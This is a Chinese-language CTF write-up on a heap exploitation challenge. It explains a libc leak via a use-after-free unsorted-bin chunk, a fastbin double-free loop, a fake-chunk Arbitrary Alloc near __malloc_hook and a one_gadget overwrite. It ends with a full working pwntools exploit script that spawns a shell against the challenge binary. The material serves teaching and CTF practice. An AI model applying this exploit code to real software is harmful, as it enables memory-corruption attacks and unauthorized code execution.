和【PWN · heap | House Of Spirit】2014_hack.lu_oreo-CSDN博客略有区别,但都是通过malloc一块fake_chunk到指定区域,获得对该区域的写权限
目录
零、简单介绍
一、题目分析
1.主要功能
2.index_sentence(): 增添一条语句到“库”中
3.search_word():查询单词
4.read_str():读入字符串
二、解题思路
1.整体思路
2.泄露libc
3.getshell——劫持malloc_hook
三、利用过程
1.leak libc
2.fastbin循环指针
3.Arbitrary Alloc
4.hijack __malloc_hook
四、EXP
总结
零、简单介绍
Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。
Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。
一、题目分析
1.主要功能
主要有两项功能,一是增添sentence,二是查询单次。由于数据结构的组织对我而言比较复杂,因此有必要好好做一个分析。
2.index_sentence(): 增添一条语句到“库”中
这里的单词指针,是源自句子的一部分(因此将句子整个置为\x00后,word也将变为\x00)
结构体各成员含义:
- content:单词的值
- size:单词的长度
- sentence_ptr:单词源自的句子
- len:句子的长度
- next:指向下一个word结构体变量
- padding1和padding2:按对齐要求进行必要填充
3.search_word():查询单词
4.read_str():读入字符串
尤其重要的是第三个参数的含义
二、解题思路
先看看保护机制
用patchelf给程序链接了合适的动态链接库
开始思考如何做题。
1.整体思路
- 泄露libc
- getshell
- got劫持?不太行
- ROP?劫持到栈上,也许可以
- hook劫持、打one_gadget?double free+Arbitrary Alloc,可以一试
2.泄露libc
可以从现有条件+已知方法考虑(泄露libc的方法可以多多积累,无非是获得libc中的一个真实地址,通过偏移计算基地址)
而泄露必然是回显,因此可以看看哪些输出,或者哪些指针是具有读权限的。
除了menu打印字符串常量,search_word()具有打印变量的权限,更具体来说是被malloc的堆块的数据区。而我们注意到malloc的堆块释放到bin中,但是sentence被释放后,没赋值NULL,为野指针。因此可以利用chunk被释放后放入unsorted bin,堆管理中fd和bk指针被修改,再利用这里的write打印出来,即可泄露。——这也是经常利用泄露libc的手法。
唯一的问题是,如何绕过对word匹配的限制,调用write。
其实,当sentence被memset为\x00\x00…\x00后,word作为sentence字符串开始的字符串指针,也变味了\x00,这时只需要索引长度为1的\x00即可绕过对word的匹配检测。
3.getshell——劫持malloc_hook
我们知道,存在double free,因此我们可以利用这一点,构造循环指针A→B→A→B…然后申请A,修改对应fd域为fake_chunk。此时bin中即:B→A→fake_chunk。
然而这里有几个点需要注意:
- 需要malloc三个sentence,free三个sentence后,再释放其中一个。依次malloc了chunk A、B、C。此时head→word(C)→word(B)→word(A)。而匹配依次free后,fastbin: A→B→C→NULL。注意,这里free的是sentence。在循环比较时,条件首先需要满足i→sentence≠0。而此时C的fd指针已是NULL(注意C就是sentence,就是i→sentence),不可通过该检测。所以循环比较时,只会顺利检测并free A、B。而为了构造循环链表,应free B构造A→B→A…
- fake_chunk在malloc附近,因此fake_chunk的size一般可通过错位构造为0x7f,所以ABC的chunk size也应在这一范围。使用pwndbg中的find_fake_fast函数和查找一下可以将malloc_hook作为内容地址的0x70(0x7F)大小的fake_chunk。
命令格式: find_fake_fast+被写入地址+chunk大小
- malloc_hook的地址比泄露出来的main_arena地址小0x10
- 由于leak libc时已经有一个sentence被free,因此search ’\x00‘ 时,会匹配到A、B和之前的leak_chunk,一次’y’,两次’n’
三、利用过程
1.leak libc
2.fastbin循环指针
malloc 三次,free 三次,再free 一次,即可。
3.Arbitrary Alloc
然后依据偏移即可求出每次程序的fake_chunk_addr
4.hijack __malloc_hook
依据距离偏移,精确覆写malloc_hook:
(这里的值需要具体算,0xef9f4是one_gadget偏移)
四、EXP
from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')
io=process('./pwn')
a=0
if input('[?]gdb')!='':
a=1
gdb.attach(io)
def search_word(size,word):
io.sendline(b'1')
io.recvuntil(b'size:\n')
io.sendline(str(size).encode())
io.recvuntil(b'word:\n')
io.send(word)
def delete_word(choice):
io.recvuntil(b'(y/n)?\n')
io.sendline(choice)
if choice==b'y':
io.recvuntil(b'Deleted!\n')
def index_sentence(size,sentence):
io.sendline(b'2')
io.recvuntil(b'size:\n')
io.sendline(str(size).encode())
io.recvuntil(b'sentence:\n')
io.send(sentence)
def gdb_break():
if a==1:
input('[+]gdb check')
## test
# index_sentence(9,b'dead beef')
# search_word(4,b'beef')
# delete_word(b'y')
# search_word(4,b'dead')
# io.interactive()
# leak libc
sentence=0x83*b'a'+b' b'
index_sentence(0x85,sentence)
search_word(1,b'b')
delete_word(b'y')
search_word(1,b'\x00')
io.recvuntil(b': ')
leak_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
# success(hex(leak_addr))
main_arena=leak_addr-88
success('main_arena: '+hex(main_arena))
gdb_break()
delete_word(b'n')
# double-free
sentence=0x5d*b'a'+b' c '
length=len(sentence)
for i in range(3):
index_sentence(length,sentence)
gdb_break()
search_word(1,b'c')
delete_word(b'y')
delete_word(b'y')
delete_word(b'y')
gdb_break()
search_word(1,b'\x00')
delete_word(b'y')
delete_word(b'n')
delete_word(b'n')
gdb_break()
# fake-chunk
fake_chunk_addr=0x7f05fd0adaed-0x7f05fd0adb20+main_arena
success('fake_chunk_addr: '+hex(fake_chunk_addr))
gdb_break()
sentence=p64(fake_chunk_addr)
sentence=sentence.ljust(length,b'\x00')
index_sentence(length,sentence)
gdb_break()
index_sentence(length,b'a'*length)
index_sentence(length,b'b'*length)
gdb_break()
'''one-gadget
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
libc_base=main_arena-0x3c4b10-0x1010+0x2000
success('libc-base: '+hex(libc_base))
gdb_break()
sentence=(0x7f5eec1dfb10-(0x7f5eec1dfaed+0x10))*b'a'+p64(libc_base+0xef9f4)+b' '
sentence=sentence.ljust(length,b'\x00')
index_sentence(length,sentence)
gdb_break()
io.interactive()
总结
1. unsorted bin泄露libc
2. find_fake_fast可查找错位构造fake_fast_chunk
3.UAF+double free+Arbitrary Alloc
4. 关注具有读写权限的指针和操作